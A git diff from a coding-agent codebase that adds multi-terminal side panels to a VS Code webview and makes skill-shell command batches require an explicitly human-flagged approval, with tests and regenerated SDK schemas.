stability (and therefore the + * mounted xterm instances) is preserved. */ + setTitle(terminalId: string, title: string): void /** * Persist a new order for a context's terminals (webview-memory only — * terminals are ephemeral and never round-trip through the extension @@ -109,12 +118,16 @@ export interface TerminalStateControls { * was applied, false otherwise so the caller can fall through. */ reorderDrag(from: string, to: string): boolean - /** Request id of the in-flight side-terminal create for a context. */ - pendingSide(contextKey: string): string | undefined + /** + * Apply a drag-over reorder within a context's side terminals (the + * side-panel strip). Returns true when both ends are side terminals + * of that context. + */ + reorderSideDrag(contextKey: string, from: string, to: string): boolean + /** Request ids of the in-flight side-terminal creates for a context. */ + pendingSide(contextKey: string): boolean /** Mark a side-terminal create as in flight for a context. */ beginSide(contextKey: string, createId: string): void - /** Cancel the in-flight create; returns true when one was pending. */ - cancelSide(contextKey: string): boolean /** Settle a create request; returns it so the caller can validate. */ completeSide(createId: string): SideRequest | undefined } @@ -149,10 +162,17 @@ export function createTerminalState(selection: Accessor): Termina const [activeId, setActiveId] = createSignal() const [focusedId, setFocusedId] = createSignal() const [focusRequest, setFocusRequest] = createSignal() + // OSC-provided titles, keyed by terminal id. Separate from the terminal + // records on purpose: replacing a record would remount its xterm via + // reference inequality (see the module comment above). + const [titles, setTitles] = createSignal>({}) + // Active side terminal per context. + const [actives, setActives] = createSignal>({}) let focusSerial = 0 // In-flight side-terminal creates, keyed both ways: per context (what - // the panel shows) and per request id (what the answer carries). - const [pending, setPending] = createSignal>({}) + // the panel shows) and per request id (what the answer carries). A + // context can have several creates in flight at once. + const [pending, setPending] = createSignal>({}) const requests = new Map() const currentKey = (): string | undefined => { @@ -195,8 +215,31 @@ export function createTerminalState(selection: Accessor): Termina return out } - const sideForContext = (key: string) => terminalsByContext()[key]?.find((t) => t.placement === "side") - const side = () => sideForContext(sideKey()) + const sidesForContext = (key: string) => (terminalsByContext()[key] ?? []).filter((t) => t.placement === "side") + const sideActiveFor = (key: string) => actives()[key] + const sideFocusedId = () => { + const id = focusedId() + if (!id) return undefined + return sidesForContext(sideKey()).some((t) => t.id === id) ? id : undefined + } + + const setSideActive = (key: string, terminalId: string) => { + setActives((prev) => (prev[key] === terminalId ? prev : { ...prev, [key]: terminalId })) + } + + const title = (terminalId: string): string | undefined => { + const live = titles()[terminalId] + if (live) return live + const key = contextFor(terminalId) + if (!key) return undefined + return terminalsByContext()[key]?.find((t) => t.id === terminalId)?.title + } + + const setTitle = (terminalId: string, next: string) => { + const trimmed = next.trim() + if (!trimmed) return + setTitles((prev) => (prev[terminalId] === trimmed ? prev : { ...prev, [terminalId]: trimmed })) + } const lookup = () => new Map(current().map((t) => [t.id, t])) @@ -218,9 +261,6 @@ export function createTerminalState(selection: Accessor): Termina setTerminalsByContext((prev) => { const list = prev[key] ?? [] if (list.some((t) => t.id === term.id)) return prev - // One side terminal per context; the message handler dedupes via - // pending requests, this guard covers stale double answers. - if (term.placement === "side" && list.some((t) => t.placement === "side")) return prev const enriched: TerminalTabStateWithContext = { ...term, contextKey: key } return { ...prev, [key]: [...list, enriched] } }) @@ -238,6 +278,24 @@ export function createTerminalState(selection: Accessor): Termina return next }) if (focusedId() === terminalId) setFocusedId(undefined) + // A removed active side terminal hands activation to the last + // remaining one of its context, so the panel never shows a dead slot. + if (removed?.placement === "side" && actives()[key] === terminalId) { + const rest = sidesForContext(key) + setActives((prev) => { + const next = { ...prev } + if (rest.length === 0) delete next[key] + else next[key] = rest[rest.length - 1]!.id + return next + }) + } + if (titles()[terminalId] !== undefined) { + setTitles((prev) => { + const next = { ...prev } + delete next[terminalId] + return next + }) + } return removed } @@ -299,34 +357,58 @@ export function createTerminalState(selection: Accessor): Termina return true } - const pendingSide = (key: string) => pending()[key] - - const beginSide = (key: string, createId: string) => { - requests.set(createId, { contextKey: key, cancelled: false }) - setPending((prev) => ({ ...prev, [key]: createId })) - } - - const cancelSide = (key: string): boolean => { - const id = pending()[key] - if (!id) return false - const request = requests.get(id) - if (request) request.cancelled = true - setPending((prev) => { - const next = { ...prev } - delete next[key] - return next + /** + * Reorder the side terminals of a context by moving `from` to `to`'s + * position (side-panel strip drag-and-drop). Tab terminals keep their + * leading positions; only the side subset is reshuffled. The order + * lives in the same `terminalsByContext` list, so it survives sidebar + * context switches for the lifetime of the webview. + */ + const reorderSideDrag = (key: string, from: string, to: string): boolean => { + const order = sidesForContext(key).map((t) => t.id) + const fi = order.indexOf(from) + const ti = order.indexOf(to) + if (fi === -1 || ti === -1 || fi === ti) return false + const next = [...order] + next.splice(fi, 1) + next.splice(ti, 0, from) + setTerminalsByContext((prev) => { + const list = prev[key] + if (!list || list.length === 0) return prev + const tabs = list.filter((t) => t.placement === "tab") + const sides = list.filter((t) => t.placement === "side") + const byId = new Map(sides.map((t) => [t.id, t])) + const moved: TerminalTabStateWithContext[] = [] + for (const id of next) { + const t = byId.get(id) + if (t) moved.push(t) + } + // Fresh terminals that appeared mid-drag keep their tail position. + for (const t of sides) if (!moved.includes(t)) moved.push(t) + const ordered = [...tabs, ...moved] + if (ordered.length === list.length && ordered.every((t, i) => t.id === list[i]!.id)) return prev + return { ...prev, [key]: ordered } }) return true } + const pendingSide = (key: string) => (pending()[key]?.length ?? 0) > 0 + + const beginSide = (key: string, createId: string) => { + requests.set(createId, { contextKey: key }) + setPending((prev) => ({ ...prev, [key]: [...(prev[key] ?? []), createId] })) + } + const completeSide = (createId: string): SideRequest | undefined => { const request = requests.get(createId) if (!request) return undefined requests.delete(createId) setPending((prev) => { - if (prev[request.contextKey] !== createId) return prev + const list = (prev[request.contextKey] ?? []).filter((id) => id !== createId) + if (list.length === (prev[request.contextKey]?.length ?? 0)) return prev const next = { ...prev } - delete next[request.contextKey] + if (list.length === 0) delete next[request.contextKey] + else next[request.contextKey] = list return next }) return request @@ -341,8 +423,10 @@ export function createTerminalState(selection: Accessor): Termina current, all, sides, - side, - sideForContext, + sidesForContext, + sideActiveFor, + setSideActive, + sideFocusedId, currentKey, sideKey, activeId, @@ -352,11 +436,13 @@ export function createTerminalState(selection: Accessor): Termina focusRequest, requestFocus, hasRemembered, + title, + setTitle, reorder, reorderDrag, + reorderSideDrag, pendingSide, beginSide, - cancelSide, completeSide, } } @@ -376,8 +462,6 @@ export interface TerminalHandlerDeps { onRemove?: () => void /** Reveal the right-side inspector in terminal mode. */ onShowSide: (contextKey: string) => void - /** Leave terminal mode without killing the terminal. */ - onHideSide: () => void /** Resolve the current sidebar selection for the new-terminal helper. */ getSelection: () => string | null /** Sentinel value for the LOCAL sidebar selection. */ @@ -418,31 +502,42 @@ export function createTerminalHandlers(deps: TerminalHandlerDeps) { } /** - * Reveal the side panel and create-or-focus the context's side - * terminal. Reuses the existing terminal when one is alive, dedupes - * against an in-flight create, and never touches the tab strip or - * the chat session. + * Always create a fresh side terminal for the current context (the + * panel's `+` action and empty state). Multiple creates may be in + * flight at once; each lands as its own tab in the panel strip. */ - const requestSide = () => { + const addSide = () => { const key = deps.state.sideKey() deps.onShowSide(key) - const existing = deps.state.sideForContext(key) - if (existing) { - deps.state.requestFocus(existing.id) - return - } - if (deps.state.pendingSide(key)) return const id = newId() deps.state.beginSide(key, id) - const sel = deps.getSelection() deps.postMessage({ type: "agentManager.terminal.create", createId: id, placement: "side", - worktreeId: sel === null || sel === deps.LOCAL ? null : sel, + worktreeId: key === deps.LOCAL ? null : key, }) } + /** + * Reveal the side panel and focus the context's active side terminal, + * creating one when the context has none. Never touches the tab strip + * or the chat session. + */ + const requestSide = () => { + const key = deps.state.sideKey() + deps.onShowSide(key) + const existing = deps.state.sidesForContext(key) + if (existing.length > 0) { + const active = deps.state.sideActiveFor(key) ?? existing[existing.length - 1]!.id + deps.state.setSideActive(key, active) + deps.state.requestFocus(active) + return + } + if (deps.state.pendingSide(key)) return + addSide() + } + const closeTerminal = (terminalId: string) => { deps.onRemove?.() const ids = deps.tabIds() @@ -477,19 +572,29 @@ export function createTerminalHandlers(deps: TerminalHandlerDeps) { } /** - * Kill the current context's side terminal and hide the panel. With - * a create still in flight, cancels it instead — the late answer is - * closed by the message handler. + * Kill one side terminal. The panel stays open on the remaining + * terminals (or the empty state when this was the last one) — hiding + * is the toggle's job, not the close button's. Active-tab fallback + * is handled by the state layer. */ - const closeSide = () => { - const term = deps.state.side() - deps.onHideSide() - if (!term) return deps.state.cancelSide(deps.state.sideKey()) - deps.state.remove(term.id) - deps.postMessage({ type: "agentManager.terminal.close", terminalId: term.id }) + const closeSide = (terminalId: string): boolean => { + // Validate before mutating: dropping a non-side record here would + // unmount its xterm while the backend PTY leaks (no close sent). + const term = deps.state.sides().find((t) => t.id === terminalId) + if (!term) return false + deps.state.remove(terminalId) + deps.postMessage({ type: "agentManager.terminal.close", terminalId }) return true } + /** Make a side terminal the visible one in its panel and focus it. */ + const selectSide = (terminalId: string) => { + const key = deps.state.contextFor(terminalId) + if (!key) return + deps.state.setSideActive(key, terminalId) + deps.state.requestFocus(terminalId) + } + const middleClick = (terminalId: string, e: MouseEvent) => { if (e.button !== 1) return e.preventDefault() @@ -504,7 +609,18 @@ export function createTerminalHandlers(deps: TerminalHandlerDeps) { return true } - return { closeTerminal, closeSide, middleClick, activate, deactivate, requestNew, requestSide, closeActive } + return { + closeTerminal, + closeSide, + selectSide, + middleClick, + activate, + deactivate, + requestNew, + requestSide, + addSide, + closeActive, + } } export interface TerminalMessageHandlerDeps { @@ -545,14 +661,17 @@ function handleCreated(deps: TerminalMessageHandlerDeps, msg: CreatedMessage) { } if (msg.placement === "side") { // Side terminals are answered to a specific pending request. A - // missing, cancelled, or context-mismatched request means the user - // already moved on — close the PTY again instead of leaking it. + // missing or context-mismatched request means the webview was + // reloaded (or the context is gone) — close the PTY again instead + // of leaking it. const request = deps.state.completeSide(msg.createId) - if (!request || request.cancelled || request.contextKey !== contextKey) { + if (!request || request.contextKey !== contextKey) { deps.postMessage({ type: "agentManager.terminal.close", terminalId: msg.terminalId }) return } deps.state.add(msg.worktreeId, term) + // The newest terminal becomes the visible one in its panel. + deps.state.setSideActive(contextKey, msg.terminalId) deps.onSideCreated?.(contextKey, msg.terminalId) return } @@ -583,8 +702,6 @@ export function createTerminalMessageHandler(deps: TerminalMessageHandlerDeps) { } if (msg.type === "agentManager.terminal.error") { const request = msg.createId ? deps.state.completeSide(msg.createId) : undefined - // Errors for requests the user already cancelled are noise. - if (request?.cancelled) return true if (request) deps.onSideError?.(request.contextKey) deps.showError(msg.message) return true diff --git a/packages/kilo-vscode/webview-ui/src/components/chat/TabDnd.tsx b/packages/kilo-vscode/webview-ui/src/components/chat/TabDnd.tsx index 37c650a228..bd86ada3d5 100644 --- a/packages/kilo-vscode/webview-ui/src/components/chat/TabDnd.tsx +++ b/packages/kilo-vscode/webview-ui/src/components/chat/TabDnd.tsx @@ -27,13 +27,13 @@ export const ConstrainDragYAxis: Component = () => { return null } -export const SortableTabContainer: ParentComponent<{ id: string }> = (props) => { +export const SortableTabContainer: ParentComponent<{ id: string; class?: string }> = (props) => { const sortable = createSortable(props.id) void sortable return (
diff --git a/packages/kilo-vscode/webview-ui/src/stories/agent-manager.stories.tsx b/packages/kilo-vscode/webview-ui/src/stories/agent-manager.stories.tsx index 009b72bb17..7494a81d51 100644 --- a/packages/kilo-vscode/webview-ui/src/stories/agent-manager.stories.tsx +++ b/packages/kilo-vscode/webview-ui/src/stories/agent-manager.stories.tsx @@ -933,9 +933,9 @@ export const TabBarSingleTab: Story = { } // Side terminal panel inside the real inspector host chain, empty state — -// no live PTY, so the start affordance renders. The header reuses the -// .am-diff-header metrics so the a11y/screenshot baseline also guards the -// alignment against the diff panel chrome. +// no live PTY, so the start affordance renders. The tab strip header keeps +// the .am-diff-header height so the a11y/screenshot baseline also guards +// the alignment against the diff panel chrome. export const SideTerminalPanelEmpty: Story = { name: "Side terminal panel — empty", render: () => { @@ -953,6 +953,47 @@ export const SideTerminalPanelEmpty: Story = { state={state} contextKey={() => LOCAL} visible={() => true} + onSelect={() => undefined} + onClose={() => undefined} + onStart={() => undefined} + /> +
+
+
+
+ + ) + }, +} + +// Tab strip with several side terminals: the active one shows the X close +// button, the others reveal it on hover. Terminals point at a dead port — +// xterm renders its connection-error notice inside the panel, which keeps +// the story self-contained without a live PTY. +export const SideTerminalPanelTabs: Story = { + name: "Side terminal panel — tabs", + render: () => { + const state = createTerminalState(() => LOCAL) + const font = { fontFamily: "monospace", fontSize: 12 } + state.add(null, { id: "terminal:one", title: "Terminal 1", wsUrl: "ws://127.0.0.1:1/a", font, placement: "side" }) + state.add(null, { id: "terminal:two", title: "Terminal 2", wsUrl: "ws://127.0.0.1:1/b", font, placement: "side" }) + state.add(null, { id: "terminal:three", title: "Terminal 3", wsUrl: "ws://127.0.0.1:1/c", font, placement: "side" }) + state.setSideActive(LOCAL, "terminal:two") + state.setTitle("terminal:two", "npm run dev") + return ( + +
+
+
+ Agent session stays visible beside the terminal. +
+
+
+ LOCAL} + visible={() => true} + onSelect={(id) => state.setSideActive(LOCAL, id)} onClose={() => undefined} onStart={() => undefined} /> From 7650d0fd090d5b8982c962e6483da3035b59488f Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 11:12:34 +0200 Subject: [PATCH 021/100] fix(cli): require human approval for skill shell command batches --- packages/core/src/v1/permission.ts | 2 + .../kilocode/backend/cli/KiloCliDataParser.kt | 1 + .../views/permission/PermissionView.kt | 2 +- .../kotlin/ai/kilocode/rpc/dto/ChatDto.kt | 2 + .../handlers/permission-handler.ts | 2 +- packages/opencode/src/acp/permission.ts | 5 +- packages/opencode/src/cli/cmd/run.ts | 3 +- packages/opencode/src/permission/index.ts | 7 +++ .../instance/httpapi/groups/permission.ts | 1 + .../instance/httpapi/handlers/permission.ts | 1 + .../kilocode/permission/skill-shell.test.ts | 50 +++++++++++++++++++ .../tui/src/routes/session/permission.tsx | 2 + 12 files changed, 73 insertions(+), 5 deletions(-) diff --git a/packages/core/src/v1/permission.ts b/packages/core/src/v1/permission.ts index b241ccd907..8c410562e6 100644 --- a/packages/core/src/v1/permission.ts +++ b/packages/core/src/v1/permission.ts @@ -45,6 +45,8 @@ export type Reply = typeof Reply.Type export const ReplyBody = Schema.Struct({ reply: Reply, message: Schema.String.pipe(Schema.optional), + // kilocode_change - set by clients when a human answered the prompt; the server refuses machine approvals of skill-shell batches + interactive: Schema.Boolean.pipe(Schema.optional), }).annotate({ identifier: "PermissionReplyBody" }) export type ReplyBody = typeof ReplyBody.Type diff --git a/packages/kilo-jetbrains/backend/src/main/kotlin/ai/kilocode/backend/cli/KiloCliDataParser.kt b/packages/kilo-jetbrains/backend/src/main/kotlin/ai/kilocode/backend/cli/KiloCliDataParser.kt index 1d4fa2ee4b..d4e376bb81 100644 --- a/packages/kilo-jetbrains/backend/src/main/kotlin/ai/kilocode/backend/cli/KiloCliDataParser.kt +++ b/packages/kilo-jetbrains/backend/src/main/kotlin/ai/kilocode/backend/cli/KiloCliDataParser.kt @@ -1579,6 +1579,7 @@ object KiloCliDataParser { sb.append("""{"reply":${escape(reply.reply)}""") val msg = reply.message if (msg != null) sb.append(""","message":${escape(msg)}""") + if (reply.interactive) sb.append(""","interactive":true""") sb.append("}") return sb.toString() } diff --git a/packages/kilo-jetbrains/frontend/src/main/kotlin/ai/kilocode/client/session/views/permission/PermissionView.kt b/packages/kilo-jetbrains/frontend/src/main/kotlin/ai/kilocode/client/session/views/permission/PermissionView.kt index d5323dd58a..0ae649ef54 100644 --- a/packages/kilo-jetbrains/frontend/src/main/kotlin/ai/kilocode/client/session/views/permission/PermissionView.kt +++ b/packages/kilo-jetbrains/frontend/src/main/kotlin/ai/kilocode/client/session/views/permission/PermissionView.kt @@ -356,7 +356,7 @@ class PermissionView( card.setActionEnabled(ID_RUN, false) card.setActionEnabled(ID_DENY, false) rules.setControlsEnabled(false) - reply(id, PermissionReplyDto(reply = "once"), rulePayload()) + reply(id, PermissionReplyDto(reply = "once", interactive = true), rulePayload()) } @RequiresEdt diff --git a/packages/kilo-jetbrains/shared/src/main/kotlin/ai/kilocode/rpc/dto/ChatDto.kt b/packages/kilo-jetbrains/shared/src/main/kotlin/ai/kilocode/rpc/dto/ChatDto.kt index edbbed7b02..f4e222bbb2 100644 --- a/packages/kilo-jetbrains/shared/src/main/kotlin/ai/kilocode/rpc/dto/ChatDto.kt +++ b/packages/kilo-jetbrains/shared/src/main/kotlin/ai/kilocode/rpc/dto/ChatDto.kt @@ -328,6 +328,8 @@ data class ToolRefDto( data class PermissionReplyDto( val reply: String, val message: String? = null, + // Set when a human answered the prompt; the CLI ignores machine approvals of skill-shell batches. + val interactive: Boolean = false, ) @Serializable diff --git a/packages/kilo-vscode/src/kilo-provider/handlers/permission-handler.ts b/packages/kilo-vscode/src/kilo-provider/handlers/permission-handler.ts index 2b6e3608ca..52008fdab4 100644 --- a/packages/kilo-vscode/src/kilo-provider/handlers/permission-handler.ts +++ b/packages/kilo-vscode/src/kilo-provider/handlers/permission-handler.ts @@ -106,7 +106,7 @@ export async function handlePermissionResponse( } const replyResult = await ctx.client.permission - .reply({ requestID: permissionId, reply: response, directory: dir }, { throwOnError: true }) + .reply({ requestID: permissionId, reply: response, directory: dir, interactive: true }, { throwOnError: true }) .then(() => "ok" as const) .catch((error: unknown) => { if (isNotFoundError(error)) return "stale" as const diff --git a/packages/opencode/src/acp/permission.ts b/packages/opencode/src/acp/permission.ts index ba07fdf4af..3a57b6e541 100644 --- a/packages/opencode/src/acp/permission.ts +++ b/packages/opencode/src/acp/permission.ts @@ -81,14 +81,15 @@ export class Handler { await this.writeProposedEdit(session.id, permission.metadata).catch(() => {}) } - await this.reply(permission.id, reply, session.cwd) + await this.reply(permission.id, reply, session.cwd, true) // kilocode_change - human selected via requestPermission } - private async reply(requestID: string, reply: Reply, directory: string) { + private async reply(requestID: string, reply: Reply, directory: string, interactive = false) { // kilocode_change - interactive param await this.input.sdk.permission.reply({ requestID, reply, directory, + interactive, // kilocode_change }) } diff --git a/packages/opencode/src/cli/cmd/run.ts b/packages/opencode/src/cli/cmd/run.ts index d77916109e..854ed6d1d9 100644 --- a/packages/opencode/src/cli/cmd/run.ts +++ b/packages/opencode/src/cli/cmd/run.ts @@ -840,7 +840,8 @@ export const RunCommand = effectCmd({ if (event.type === "permission.asked") { const permission = event.properties - // kilocode_change start - skill shell batches need an interactive human decision; never headless auto-approve + // kilocode_change start - skill shell batches need an interactive human decision. The server ignores + // non-interactive approvals, so headless runs must reject explicitly rather than leave them pending. if (permission.metadata?.["skillShell"] === true) { await client.permission.reply({ requestID: permission.id, reply: "reject" }) continue diff --git a/packages/opencode/src/permission/index.ts b/packages/opencode/src/permission/index.ts index d5217693d2..bed5d68def 100644 --- a/packages/opencode/src/permission/index.ts +++ b/packages/opencode/src/permission/index.ts @@ -303,6 +303,13 @@ export const layer = Layer.effect( const existing = pending.get(input.requestID) if (!existing) return yield* new PermissionV1.NotFoundError({ requestID: input.requestID }) + // kilocode_change start - skill-shell batches must be answered by a human; ignore machine approvals + // (auto-approve/YOLO clients omit `interactive`) so the prompt stays pending for a real decision. + if (existing.info.metadata?.["skillShell"] === true && input.reply !== "reject" && input.interactive !== true) { + return + } + // kilocode_change end + pending.delete(input.requestID) yield* events.publish(Event.Replied, { sessionID: existing.info.sessionID, diff --git a/packages/opencode/src/server/routes/instance/httpapi/groups/permission.ts b/packages/opencode/src/server/routes/instance/httpapi/groups/permission.ts index daaa43534f..b9457ffc03 100644 --- a/packages/opencode/src/server/routes/instance/httpapi/groups/permission.ts +++ b/packages/opencode/src/server/routes/instance/httpapi/groups/permission.ts @@ -12,6 +12,7 @@ const root = "/permission" const ReplyPayload = Schema.Struct({ reply: PermissionV1.Reply, message: Schema.optional(Schema.String), + interactive: Schema.optional(Schema.Boolean), // kilocode_change - human-answered flag; gates skill-shell approvals }) // kilocode_change start diff --git a/packages/opencode/src/server/routes/instance/httpapi/handlers/permission.ts b/packages/opencode/src/server/routes/instance/httpapi/handlers/permission.ts index ce9ee63f4b..b317cd794c 100644 --- a/packages/opencode/src/server/routes/instance/httpapi/handlers/permission.ts +++ b/packages/opencode/src/server/routes/instance/httpapi/handlers/permission.ts @@ -30,6 +30,7 @@ export const permissionHandlers = HttpApiBuilder.group(InstanceHttpApi, "permiss requestID: ctx.params.requestID, reply: ctx.payload.reply, message: ctx.payload.message, + interactive: ctx.payload.interactive, // kilocode_change }) .pipe( Effect.catchTag("Permission.NotFoundError", (error) => diff --git a/packages/opencode/test/kilocode/permission/skill-shell.test.ts b/packages/opencode/test/kilocode/permission/skill-shell.test.ts index d6b1fa7981..6815dd3c95 100644 --- a/packages/opencode/test/kilocode/permission/skill-shell.test.ts +++ b/packages/opencode/test/kilocode/permission/skill-shell.test.ts @@ -42,6 +42,11 @@ const rejectAll = () => for (const req of yield* permission.list()) yield* permission.reply({ requestID: req.id, reply: "reject" }) }) +const reply = (input: Parameters[0]) => + Effect.gen(function* () { + return yield* (yield* Permission.Service).reply(input) + }) + const waitForPending = (count: number) => Effect.gen(function* () { const permission = yield* Permission.Service @@ -125,3 +130,48 @@ it.instance( }), { git: true }, ) + +it.instance( + "skillShell - a machine approval (no interactive flag) is ignored and stays pending", + () => + Effect.gen(function* () { + const fiber = yield* ask({ + sessionID: SessionID.make("session_test"), + permission: "bash", + patterns: ["printf hi"], + metadata: { skillShell: true }, + always: [], + ruleset: [], + }).pipe(Effect.forkScoped) + + const [pending] = yield* waitForPending(1) + // An auto-approver replies without `interactive`; the server must ignore it. + yield* reply({ requestID: pending.id, reply: "once" }) + expect(yield* list()).toHaveLength(1) + yield* rejectAll() + yield* Fiber.await(fiber) + }), + { git: true }, +) + +it.instance( + "skillShell - an interactive approval resolves the request", + () => + Effect.gen(function* () { + const fiber = yield* ask({ + sessionID: SessionID.make("session_test"), + permission: "bash", + patterns: ["printf hi"], + metadata: { skillShell: true }, + always: [], + ruleset: [], + }).pipe(Effect.forkScoped) + + const [pending] = yield* waitForPending(1) + yield* reply({ requestID: pending.id, reply: "once", interactive: true }) + // human approval clears the prompt and the ask succeeds + expect(yield* list()).toHaveLength(0) + yield* Fiber.await(fiber) + }), + { git: true }, +) diff --git a/packages/tui/src/routes/session/permission.tsx b/packages/tui/src/routes/session/permission.tsx index a6f21d0c2f..77524ba6ab 100644 --- a/packages/tui/src/routes/session/permission.tsx +++ b/packages/tui/src/routes/session/permission.tsx @@ -192,6 +192,7 @@ export function PermissionPrompt(props: { request: PermissionRequest; directory? requestID: props.request.id, directory: props.directory, workspace: project.workspace.current(), + interactive: true, // kilocode_change - human answered this prompt }) }} /> @@ -499,6 +500,7 @@ export function PermissionPrompt(props: { request: PermissionRequest; directory? requestID: props.request.id, directory: props.directory, workspace: project.workspace.current(), + interactive: true, // kilocode_change - human answered this prompt }) }} /> From 0c417acfaa0c6f6127af5475c0d4fa7ae8d4a984 Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 11:14:05 +0200 Subject: [PATCH 022/100] chore(sdk): regenerate for permission reply interactive flag --- packages/sdk/js/src/v2/gen/sdk.gen.ts | 2 + packages/sdk/js/src/v2/gen/types.gen.ts | 2 + packages/sdk/openapi.json | 296 ++++++++++++++---------- 3 files changed, 174 insertions(+), 126 deletions(-) diff --git a/packages/sdk/js/src/v2/gen/sdk.gen.ts b/packages/sdk/js/src/v2/gen/sdk.gen.ts index 81f6ac2e96..fcdffdc955 100644 --- a/packages/sdk/js/src/v2/gen/sdk.gen.ts +++ b/packages/sdk/js/src/v2/gen/sdk.gen.ts @@ -3752,6 +3752,7 @@ export class Permission extends HeyApiClient { workspace?: string reply?: "once" | "always" | "reject" message?: string + interactive?: boolean }, options?: Options, ) { @@ -3765,6 +3766,7 @@ export class Permission extends HeyApiClient { { in: "query", key: "workspace" }, { in: "body", key: "reply" }, { in: "body", key: "message" }, + { in: "body", key: "interactive" }, ], }, ], diff --git a/packages/sdk/js/src/v2/gen/types.gen.ts b/packages/sdk/js/src/v2/gen/types.gen.ts index 61953cc620..aad0b6b5cb 100644 --- a/packages/sdk/js/src/v2/gen/types.gen.ts +++ b/packages/sdk/js/src/v2/gen/types.gen.ts @@ -7717,6 +7717,7 @@ export type AppSkillsResponses = { description?: string location: string content: string + trusted?: boolean }> } @@ -8628,6 +8629,7 @@ export type PermissionReplyData = { body?: { reply: "once" | "always" | "reject" message?: string + interactive?: boolean } path: { requestID: string diff --git a/packages/sdk/openapi.json b/packages/sdk/openapi.json index 53526b5f00..c7cd873102 100644 --- a/packages/sdk/openapi.json +++ b/packages/sdk/openapi.json @@ -3137,6 +3137,9 @@ }, "content": { "type": "string" + }, + "trusted": { + "type": "boolean" } }, "required": ["name", "location", "content"], @@ -5312,6 +5315,9 @@ }, "message": { "type": "string" + }, + "interactive": { + "type": "boolean" } }, "required": ["reply"], @@ -24496,6 +24502,15 @@ { "$ref": "#/components/schemas/EventServerInstanceDisposed" }, + { + "$ref": "#/components/schemas/EventSessionTurnOpen" + }, + { + "$ref": "#/components/schemas/EventSessionTurnClose" + }, + { + "$ref": "#/components/schemas/EventSessionQueueChanged" + }, { "$ref": "#/components/schemas/EventSessionNetworkAsked" }, @@ -24523,12 +24538,6 @@ { "$ref": "#/components/schemas/EventInteractive_terminalDeleted" }, - { - "$ref": "#/components/schemas/EventSessionTurnOpen" - }, - { - "$ref": "#/components/schemas/EventSessionTurnClose" - }, { "$ref": "#/components/schemas/EventSandboxStatusChanged" }, @@ -24557,10 +24566,10 @@ "$ref": "#/components/schemas/EventKilocodeNotebookCancelled" }, { - "$ref": "#/components/schemas/EventLspClientDiagnostics" + "$ref": "#/components/schemas/EventKilo-sessionsRemote-status-changed" }, { - "$ref": "#/components/schemas/EventKilo-sessionsRemote-status-changed" + "$ref": "#/components/schemas/EventLspClientDiagnostics" }, { "$ref": "#/components/schemas/EventMemoryStatus1" @@ -24818,10 +24827,10 @@ "$ref": "#/components/schemas/EventProjectUpdated" }, { - "$ref": "#/components/schemas/EventLspUpdated" + "$ref": "#/components/schemas/EventVcsBranchUpdated" }, { - "$ref": "#/components/schemas/EventVcsBranchUpdated" + "$ref": "#/components/schemas/EventLspUpdated" }, { "$ref": "#/components/schemas/EventWorkspaceReady" @@ -26838,7 +26847,7 @@ "type": "object", "properties": { "start": { - "type": "number", + "type": "integer", "minimum": 0 } }, @@ -26914,11 +26923,11 @@ "type": "object", "properties": { "start": { - "type": "number", + "type": "integer", "minimum": 0 }, "end": { - "type": "number", + "type": "integer", "minimum": 0 }, "elapsed": { @@ -27686,6 +27695,15 @@ { "$ref": "#/components/schemas/EventServerInstanceDisposed" }, + { + "$ref": "#/components/schemas/EventSessionTurnOpen" + }, + { + "$ref": "#/components/schemas/EventSessionTurnClose" + }, + { + "$ref": "#/components/schemas/EventSessionQueueChanged" + }, { "$ref": "#/components/schemas/EventSessionNetworkAsked" }, @@ -27713,12 +27731,6 @@ { "$ref": "#/components/schemas/EventInteractive_terminalDeleted" }, - { - "$ref": "#/components/schemas/EventSessionTurnOpen" - }, - { - "$ref": "#/components/schemas/EventSessionTurnClose" - }, { "$ref": "#/components/schemas/EventSandboxStatusChanged" }, @@ -27747,10 +27759,10 @@ "$ref": "#/components/schemas/EventKilocodeNotebookCancelled" }, { - "$ref": "#/components/schemas/EventLspClientDiagnostics" + "$ref": "#/components/schemas/EventKilo-sessionsRemote-status-changed" }, { - "$ref": "#/components/schemas/EventKilo-sessionsRemote-status-changed" + "$ref": "#/components/schemas/EventLspClientDiagnostics" }, { "$ref": "#/components/schemas/EventMemoryStatus" @@ -28008,10 +28020,10 @@ "$ref": "#/components/schemas/EventProjectUpdated" }, { - "$ref": "#/components/schemas/EventLspUpdated" + "$ref": "#/components/schemas/EventVcsBranchUpdated" }, { - "$ref": "#/components/schemas/EventVcsBranchUpdated" + "$ref": "#/components/schemas/EventLspUpdated" }, { "$ref": "#/components/schemas/EventWorkspaceReady" @@ -35218,6 +35230,96 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, + "EventSessionTurnOpen": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["session.turn.open"] + }, + "properties": { + "type": "object", + "properties": { + "sessionID": { + "type": "string", + "pattern": "^ses" + } + }, + "required": ["sessionID"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventSessionTurnClose": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["session.turn.close"] + }, + "properties": { + "type": "object", + "properties": { + "sessionID": { + "type": "string", + "pattern": "^ses" + }, + "parentID": { + "type": "string", + "pattern": "^ses" + }, + "reason": { + "type": "string", + "enum": ["completed", "error", "interrupted"] + } + }, + "required": ["sessionID", "reason"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventSessionQueueChanged": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["session.queue.changed"] + }, + "properties": { + "type": "object", + "properties": { + "sessionID": { + "type": "string", + "pattern": "^ses" + }, + "queued": { + "type": "array", + "items": { + "type": "string", + "pattern": "^msg" + } + } + }, + "required": ["sessionID", "queued"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, "EventSessionNetworkAsked": { "type": "object", "properties": { @@ -35470,64 +35572,6 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, - "EventSessionTurnOpen": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["session.turn.open"] - }, - "properties": { - "type": "object", - "properties": { - "sessionID": { - "type": "string", - "pattern": "^ses" - } - }, - "required": ["sessionID"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - 